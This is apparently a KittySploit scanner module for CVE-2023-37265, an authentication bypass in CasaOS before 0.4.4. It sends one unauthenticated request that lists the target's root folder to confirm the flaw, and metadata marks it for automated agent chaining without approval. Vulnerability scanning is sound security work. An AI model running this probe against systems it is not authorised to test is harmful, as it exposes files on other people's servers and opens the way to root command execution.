CasaOS < 0.4.4 - Authentication Bypass via Internal IP Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CasaOS is an open-source Personal Cloud system."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'CasaOS  < 0.4.4 - Authentication Bypass via Internal IP Detection',
        'description': "CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification an unauthenticated attackers can execute arbitrary commands as `root` on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in `391dd7f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.",
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2023', 'oss', 'casaos', 'jwt', 'icewhale', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad',
            'https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr',
            'https://github.com/IceWhaleTech/CasaOS-Gateway/commit/391dd7f0f239020c46bf057cfa25f82031fc15f7',
            'https://github.com/IceWhaleTech/CasaOS-Gateway/security/advisories/GHSA-vjh7-5r6x-xh6g',
            'https://github.com/komodoooo/Some-things',
        ],
        'cve': 'CVE-2023-37265',
    }

    def run(self):
        r = self.http_request(method="GET", path='/v1/folder?path=%2F', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('"success":200', '"message":"ok"', 'content', 'is_dir',)
        if (all(m in body for m in body_all)):
            self.set_info(
                severity='critical',
                reason="CasaOS  < 0.4.4 - Authentication Bypass via Internal IP detected",
                path='/v1/folder?path=%2F',
            )
            return True
        return False